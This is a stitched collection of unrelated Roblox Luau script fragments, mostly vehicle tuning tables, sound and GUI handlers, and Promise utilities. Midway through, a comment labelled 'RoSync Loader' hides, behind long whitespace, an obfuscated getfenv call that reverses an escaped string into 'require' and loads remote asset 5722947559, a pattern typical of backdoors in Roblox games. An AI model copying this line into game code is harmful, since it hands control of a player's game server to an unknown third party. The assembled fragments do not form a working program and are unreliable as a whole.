Roblox/luau_corpus huggingface dataset:
--[[
		___      _______                _     
	   / _ |____/ ___/ /  ___ ____ ___ (_)__ 
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["Tuner"])
local on = 0
local throt=0
local redline=0

script:WaitForChild("Rev")
script:WaitForChild("Elec")

for i,v in pairs(car.DriveSeat:GetChildren()) do
	for _,a in pairs(script:GetChildren()) do
		if v.Name==a.Name then v:Stop() wait() v:Destroy() end
	end
end

handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.SetVol.Value,true)
handler:FireServer("newSound","Elec",car.DriveSeat,script.Elec.SoundId,0,script.Elec.SetVol.Value,true)
handler:FireServer("playSound","Rev")
handler:FireServer("playSound","Elec")
car.DriveSeat:WaitForChild("Rev")
car.DriveSeat:WaitForChild("Elec")

while wait() do
	local _RPM = script.Parent.Values.RPM.Value
	
	if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
		throt = math.max(.3,throt-.2)	
	else
		throt = math.min(1,throt+.1)	
	end	
	if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
		redline=.5
	else
		redline=1
	end
	if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
	local RevVol = script.Rev.SetVol.Value
	local ElecVol = script.Elec.SetVol.Value
	if not _Tune.Engine then RevVol = 0 end
	if not _Tune.Electric then ElecVol = 0 end
	local RevPitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value)
	local ElecPitch = math.max((((script.Elec.SetPitch.Value + script.Elec.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Elec.SetPitch.Value)
	handler:FireServer("updateSound","Rev",script.Rev.SoundId,RevPitch,RevVol)
	handler:FireServer("updateSound","Elec",script.Elec.SoundId,ElecPitch,ElecVol)
end
--[[
	Used to catch any errors that may have occurred in the promise.
]]
function Promise.prototype:catch(failureCallback)
	assert(
		failureCallback == nil or type(failureCallback) == "function",
		string.format(ERROR_NON_FUNCTION, "Promise:catch")
	)
	return self:_andThen(debug.traceback(nil, 2), nil, failureCallback)
end
Promise.prototype.Catch = Promise.prototype.catch
--------------------------------------------------------------------------

local _WHEELTUNE = {
																		--[[	
			SS6 Presets
	[Eco]		
		WearSpeed = 1,
		TargetFriction = .7,
		MinFriction = .1,
	[Road]		
		WearSpeed = 2,
		TargetFriction = .7,
		MinFriction = .1,
	[Sport]		
		WearSpeed = 3,
		TargetFriction = .79,
		MinFriction = .1,											]]

	TireWearOn 		= false	,
	
	--Friction and Wear
	FWearSpeed		= .8	,
	FTargetFriction	= .7	,
	FMinFriction 	= .1	,
	
	RWearSpeed		= .8	,
	RTargetFriction	= .8	,
	RMinFriction	= .1	,
	
	--Tire Slip
	TCSOffRatio		= 1/3	,
	WheelLockRatio	= 1/2	,	--SS6 Default = 1/4
	WheelspinRatio	= 1/1.1	,	--SS6 Default = 1/1.2
	
	--Wheel Properties
	FFrictionWeight	= 1		,	--SS6 Default = 1
	RFrictionWeight	= 1		,	--SS6 Default = 1
	FLgcyFrWeight	= 10	,
	RLgcyFrWeight	= 10	,
	
	FElasticity		= .5		,	--SS6 Default = .5
	RElasticity		= .5		,	--SS6 Default = .5
	FLgcyElasticity	= 0		,
	RLgcyElasticity	= 0		,
	
	FElastWeight	= 1		,	--SS6 Default = 1
	RElastWeight	= 1		,	--SS6 Default = 1
	FLgcyElWeight	= 10	,
	RLgcyElWeight	= 10	,
	
	--Wear Regen
	RegenSpeed		= 3.6		--SS6 Default = 3.6
}
--[[Transmission]]
	Tune.TransModes		= {"Auto","Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
	--Gear Ratios
	Tune.FinalDrive		= 3.4			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3			,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.5			,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2			,
		--[[ 3 ]]		1.4			,
		--[[ 4 ]]		1.1			,
		--[[ 5 ]]		.8			,		
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.Segway
--
script.Parent.Close.MouseButton1Click:Connect(function()
	House.RemoveGui:InvokeServer(script.Parent.Parent)
end)
--	for i = 1, 50 do
		--target = hum.TargetPoint
		--newdir = (target - torso.Position) * Vector3.new(1, 0, 1)
		--if newdir.magnitude > .01 then
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 640		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 9200		--		Use sliders to manipulate values
	Tune.Redline		= 10000		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 6500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16
	
	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)
-------------------------------------------
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-0.5,0.495,1) * CFrame.fromEulerAnglesXYZ(math.rad(60),0,0) --Right leg
arms[2].Name = "RDave"
arms[2].CanCollide = true
welds[2] = weld2
--[[Engine]]
--Torque Curve
Tune.Horsepower		= 363		--	[TORQUE CURVE VISUAL]
Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
Tune.EqPoint		= 5500
Tune.PeakSharpness	= 7.5
Tune.CurveMult		= 0.16
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder)
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	if plrData.Character.Injuries.BrokenArm.Value == true then
		return true
	end
	return false
end
-- Almost redundant with function in jest-matcher-utils,
-- except no line diff for any strings.
function isLineDiffableArg(expected: any, received: any): boolean
	local expectedType = getType(expected)
	local receivedType = getType(received)

	if expectedType ~= receivedType then
		return false
	end

	if isPrimitive(expected) then
		return false
	end

	if expectedType == "date" or expectedType == "function" or expectedType == "regexp" or expectedType == "error" then
		return false
	end

	-- ROBLOX TODO: Change this and other similar indexing as part of ADO-1372
	if expectedType == "table" and typeof(expected.asymmetricMatch) == "function" then
		return false
	end

	if receivedType == "table" and typeof(received.asymmetricMatch) == "function" then
		return false
	end

	return true
end
-- Event Binding
TimeObject.Changed:Connect(OnTimeChanged)
DisplayTimerInfo.OnClientEvent:Connect(OnDisplayTimerInfo)

return TimerManager
--[[Susupension]]
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
	
	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)
	
	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FPreCompress	= .25		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RPreCompress	= .25		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics	
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= true			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness
-- Objects
local plr = playerService.LocalPlayer
local char = plr.Character or plr.CharacterAdded:wait()
local settingsDir = script.Settings

function getSetting (name)
	return settingsDir and settingsDir:FindFirstChild(name) and settingsDir[name].Value
end

local normalSpeed = getSetting("Walking speed") or 18 -- The player's walking speed (Roblox default is 16)
local sprintSpeed = getSetting("Running speed") or 26 -- The player's speed while sprinting
local sprinting = false

inputService.InputBegan:Connect(function (key)
	if key.KeyCode == Enum.KeyCode.LeftShift or key.KeyCode == Enum.KeyCode.RightShift then
		running = true
		if char.Humanoid then	
			char.Humanoid.WalkSpeed = sprintSpeed
		end
	end
end)

inputService.InputEnded:Connect(function (key)
	if key.KeyCode == Enum.KeyCode.LeftShift or key.KeyCode == Enum.KeyCode.RightShift then
		running = false
		if char.Humanoid then	
			char.Humanoid.WalkSpeed = normalSpeed
		end
	end
end)
--Settings


function Tween(obj,dir,info)
	game:GetService("TweenService"):Create(obj,dir,info):Play()
end

local TweeningInformation = TweenInfo.new(2,Enum.EasingStyle.Quad,Enum.EasingDirection.Out,0,true,0)

while true do
	Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(255,0,0)})
	Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(255,0,0)})
	Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(255,0,0)})
	
	wait(1)
	
	Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(255,255,0)})
	Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(255,255,0)})
	Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(255,255,0)})
	
	wait(1)
	
	Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(0,255,0)})
	Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(0,255,0)})
	Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(0,255,0)})
	
	wait(1)
	
	Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(0,255,255)})
	Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(0,255,255)})
	Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(0,255,255)})
	
	wait(1)
	
	Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(0,0,255)})
	Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(0,0,255)})
	Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(0,0,255)})
	
	wait(1)
	
	Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(255,0,255)})
	Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(255,0,255)})
	Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(255,0,255)})
	
	wait(1)
end
-- This makes the loading bar fill up. Don't touch anything here!
local prog = 0

while wait() do
	prog = prog + 0.5
	script.Parent.Size = UDim2.new(prog/100, 0, 0.1, 0)
	script.Parent.Parent.LoadingLabel.Text = ("Loading... " ..math.floor(prog*2).. "%")
	if prog == 50 then
		wait(1)
		script.Parent.Parent.Parent:Destroy()
	end
end
--[=[
	Constructs a new CancelToken

	@param executor (cancel: () -> ()) -> ()
	@return CancelToken
]=]
function CancelToken.new(executor)
	local self = setmetatable({}, CancelToken)

	assert(type(executor) == "function", "Bad executor")

	self.PromiseCancelled = Promise.new()

	self.Cancelled = Signal.new()

	self.PromiseCancelled:Then(function()
		self.Cancelled:Fire()
		self.Cancelled:Destroy()
	end)

	executor(function()
		self:_cancel()
	end)

	return self
end

local EMPTY_FUNCTION = function() end
--[[
	Merges values from zero or more tables onto a target table. If a value is
	set to None, it will instead be removed from the table.

	This function is identical in functionality to JavaScript's Object.assign.
]]
local function assign(target, ...)
	for index = 1, select("#", ...) do
		local source = select(index, ...)

		if source ~= nil then
			for key, value in pairs(source) do
				if value == None then
					target[key] = nil
				else
					target[key] = value
				end
			end
		end
	end

	return target
end

return assign
-- The event to use for waiting (typically Heartbeat)
local STEP_EVENT = RunService.Heartbeat

local function cleanupOnDestroy(instance: Instance?, task: cleanup.Task): (() -> ())
	-- set up manual disconnection logic
	local isDisconnected = false
	local ancestryChangedConn

	local function disconnect()
		if not isDisconnected then
			isDisconnected = true
			ancestryChangedConn:Disconnect()
		end
	end

	-- We can't keep a reference to the instance, but we need to keep track of
	-- when the instance is parented to `nil`.
	-- To get around this, we can save the parent from AncestryChanged here
	local isNilParented = instance.Parent == nil

	-- when AncestryChanged is called, run some destroy-checking logic
	-- this function can yield when called, so make sure to call in a new thread
	-- if you don't want your current thread to block
	local function onInstanceMove(_doNotUse: Instance?, newParent: Instance?)
		if isDisconnected then
			return
		end

		-- discard the first argument so we don't inhibit GC
		_doNotUse = nil

		isNilParented = newParent == nil

		-- if the instance has been moved into a nil parent, it could possibly
		-- have been destroyed if no other references exist
		if isNilParented then
			-- We don't want this function to yield, because it's called
			-- directly from the main body of `connectToDestroy`
			coroutine.wrap(function()
				-- This delay is needed because the event will always be connected
				-- when it is first run, but we need to see if it's disconnected as
				-- a result of the instance being destroyed.
				STEP_EVENT:Wait()

				if isDisconnected then
					return

				elseif not ancestryChangedConn.Connected then
					-- if our event was disconnected, the instance was destroyed
					cleanup(task)
					disconnect()

				else
					-- The instance currently still exists, however there's a
					-- nasty edge case to deal with; if an instance is destroyed
					-- while in nil, `AncestryChanged` won't fire, because its
					-- parent will have changed from nil to nil.

					-- For this reason, we set up a loop to poll
					-- for signs of the instance being destroyed, because we're
					-- out of event-based options.
					while
						isNilParented and
						ancestryChangedConn.Connected and
						not isDisconnected
					do
						-- FUTURE: is this too often?
						STEP_EVENT:Wait()
					end

					-- The instance was either destroyed, or we stopped looping
					-- for another reason (reparented or `disconnect` called)
					-- Check those other conditions before calling the callback.
					if isDisconnected or not isNilParented then
						return
					end

					cleanup(task)
					disconnect()
				end
			end)()
		end
	end

	ancestryChangedConn = instance.AncestryChanged:Connect(onInstanceMove)

	-- in case the instance is currently in nil, we should call `onInstanceMove`
	-- before any other code has the opportunity to run
	if isNilParented then
		onInstanceMove(nil, instance.Parent)
	end

	-- remove this functions' reference to the instance, so it doesn't influence
	-- any garbage collection and cause memory leaks
	instance = nil

	return disconnect
end

return cleanupOnDestroy
--	humanoid.Torso.Color = teamColor
--	humanoid.Torso.Reflectance = 0.2
--	humanoid.LeftLeg.Color = teamColor
--	humanoid.LeftLeg.Reflectance = 0.2
--	humanoid.RightLeg.Color = teamColor
--	humanoid.RightLeg.Reflectance = 0.1
end

function onTouchHumanoid(humanoid)
	local team = humanoid:findFirstChild("Team", false)
	if team==nil then
		joinTeam(humanoid)
	elseif team.Value~=teamColor then
		-- Harm the enemy!
		humanoid.Health = 0
		return
	end
	
	if not healerIsResting then
		-- Heal the player
		humanoid.Health = humanoid.Health + 50
		coroutine.resume(coroutine.create(restHealer))
	end
end

goingUp = false
function goUp(speed)
	if goingUp then
		return
	end
	goingUp = true
	vel.velocity = Vector3.new(0,speed,0)
	wait(15/speed)
	vel.velocity = Vector3.new(0,-2,0)
	goingUp = false
end

function onTouch(touchedPart)
	-- see if a character touched it
	local parent = touchedPart.Parent
		if parent~=nil then
		local humanoid = parent:findFirstChild("Humanoid", false);
		if humanoid ~= nil then
			onTouchHumanoid(humanoid)
			goUp(10)
			return
		end
	end

	-- change direction
	if touchedPart.Position.y > beacon.Center.Position.y then
		vel.velocity = Vector3.new(0,-2,0)
		goingUp = false
	elseif touchedPart.Position.y < beacon.Center.Position.y then
		goUp(2)
	end
end

function connectPart(part)
	part.Color = teamColor
	part.Touched:connect(onTouch)
end
--[[ Last synced 4/22/2021 04:06                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                                  ]]--
-----------------------------------------------------------------------------

script.Parent.Humanoid.HealthChanged:Connect(function()
	if script.Parent.Humanoid.Health <= 61 then
		
		Instance.new("Decal", script.Parent["Right Arm"])
		script.Parent["Right Arm"].Decal.Texture = "rbxassetid://508050982"
		script.Parent["Right Arm"].Decal.Face = "Right"
	end
end)
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================
function BoostSetup()	
	local Speedometer = gui:WaitForChild("Speedometer")
	local Bar = Speedometer:WaitForChild("Bar")
	local SpeedBar = Bar:WaitForChild("SpeedBar")

	function GuiController:UpdateBoost(boostAmount)
		local boostPercentage = math.clamp(boostAmount/engine._settings.BoostAmount, 0, 1)
		Bar.Position = UDim2.new(-1 + boostPercentage, 0, 0, 0)
		SpeedBar.Position = UDim2.new(1 - 1*boostPercentage, 0, 0, 0)
	end
end -- BoostSetup()
--For tires:
for i,child in pairs(script.Parent.Parent:GetChildren()) do
	if string.find(child.Name, "FR") then FRtire = child.PhysicsTire
	elseif string.find(child.Name, "FL") then FLtire = child.PhysicsTire
	elseif string.find(child.Name, "RR") then RRtire = child.PhysicsTire
	elseif string.find(child.Name, "RL") then RLtire = child.PhysicsTire
	end
end
local frontDistance = (script.Parent.Parent.Base.Position - FRtire.Position).magnitude + 0.5
local rearDistance = (script.Parent.Parent.Rear.Position - RRtire.Position).magnitude + 0.5
function deleteCar()
	print"Deleting car fling"
	script.Parent.Parent.Parent:Destroy()
end


thrust.Force = Vector3.new(0,0,0)

seat.Changed:Connect(function()
if not inLoop then
	inLoop = true
	repeat wait(0.3) 
		local speed = seat.Velocity.Magnitude

		if speed > 90 and seat.Occupant ~= nil then
			 factor = (55/speed) * factorMain--

		elseif speed > 60 and speed <= 90 and seat.Occupant ~= nil then
			 factor = (51/speed) * factorMain--

		elseif speed > 30 and speed <= 60 and seat.Occupant ~= nil then
			 factor = (47/speed) * factorMain--

		elseif speed > 10 and speed <= 30 and seat.Occupant ~= nil then
			 factor = (40/speed) * factorMain--

		elseif speed < 10 and speed <= 1 and seat.Occupant ~= nil then
			 factor = (0.9) * factorMain--

		elseif speed < 30 and seat.Occupant == nil then
			 factor = (0.5) * factorMain--

		end


		if speed > maxSpeed + 2 then factor = factorMain/2 end

		if seat.Throttle == -1 then factor = factor * -1
		elseif seat.Throttle == 1 then factor = factor/2 end

		thrust.Force = Vector3.new(0,0,(400*speed*factor))
		--print (speed,thrust.Force)

		--For tires
		if (script.Parent.Parent.Base.Position - FRtire.Position).magnitude > frontDistance then wait(1)if (script.Parent.Parent.Base.Position - FRtire.Position).magnitude > frontDistance then deleteCar() end end
		if (script.Parent.Parent.Base.Position - FLtire.Position).magnitude > frontDistance then wait(1) if (script.Parent.Parent.Base.Position - FLtire.Position).magnitude > frontDistance then deleteCar() end end
		if (script.Parent.Parent.Rear.Position - RRtire.Position).magnitude > rearDistance then wait(1)if  (script.Parent.Parent.Rear.Position - RRtire.Position).magnitude > rearDistance then deleteCar() end end
		if (script.Parent.Parent.Rear.Position - RLtire.Position).magnitude > rearDistance then wait(1)if (script.Parent.Parent.Rear.Position - RLtire.Position).magnitude > rearDistance then  deleteCar() end end
		
	until speed < 1
	inLoop = false
end
end)
--EDIT BELOW----------------------------------------------------------------------
settings.PianoSoundRange = 50

settings.KeyAesthetics = true

settings.PianoSounds = {
		"674235030",
		"674235182",
		"674235405",
		"674244823",
		"674244967",
		"674245210"
}
--//SHADZYDEV//--
local team = script.Parent.Team
local frame = script.Parent.Parent
local player = game.Players.LocalPlayer

script.Parent.MouseButton1Click:connect(function()
 frame.Visible = false
 player.Team = team.Value
 game.Lighting.Blur.Size = 0
 workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
end)